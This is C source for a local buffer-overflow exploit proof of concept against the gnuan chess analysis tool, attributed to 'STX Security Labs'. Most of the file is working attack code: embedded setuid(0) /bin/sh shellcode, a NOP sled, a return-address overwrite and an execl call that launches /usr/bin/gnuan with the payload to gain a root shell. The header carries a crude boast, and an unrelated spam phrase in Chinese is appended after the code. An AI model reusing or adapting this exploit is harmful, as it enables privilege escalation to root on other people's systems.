/* STX SECURITY LABS: 5358gnuanx0r.c - x86 local buffer overflow exploit proof of concept code by: ace [ ace@static-x.org ] vulnerability discovered by: t0asty [ t0asty@static-x.org ] Description: gnuan produces an analysis of a chess game. For each move it shows the move, the score and the principle variation selected by gnuchess. Vulnerability: A buffer overflow vulnerability is present in gnuan. A segmentation fault occurs when 580 bytes of data are sent to the binary using the -s switch. The data overwrites the EIP therefore it allows us to control the pointer, allowing us to execute code. Versions vulnerable: [-] All versions are believed to be vulnerable. Tested on: Red Hat 7.3 with the latest version. ************************************************ * Note: gnuan may not be suid on all systems. * ************************************************ StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS X X X STX ONLINE [ www.static-x.org ] X X X StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS ************************************************ * Note: our pen0rs are 50 x larger than yours. * ************************************************ */ #include char stxcode[] = /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */ "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff" "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea" "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54" "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6" "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01" "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2" "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"; unsigned long pen0r(void) { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { int pos; int ace = pen0r(); int stxnop = 0x90; int stxbytes = 576; int stxtotal = stxbytes + 4; char *stxbof; stxbof = (char *)malloc(stxbytes); for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;} *(long *)&stxbof[stxbytes] = pen0r(); memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode)); system("clear"); printf("#####################################\n"); printf("# [ STX SECURITY LABS ] #\n"); printf("# gnuan local poc exploit by: ace #\n"); printf("#####################################\n\n"); printf("[+] Return Address: 0x%x\n", ace); printf("[+] Buffer Size: %d\n", stxtotal); printf("[-] /usr/bin/gnuan -s pwned!\n\n"); execl("/usr/bin/gnuan", "gnuan", "-s", stxbof, NULL); return 0; }

亚洲欧美在线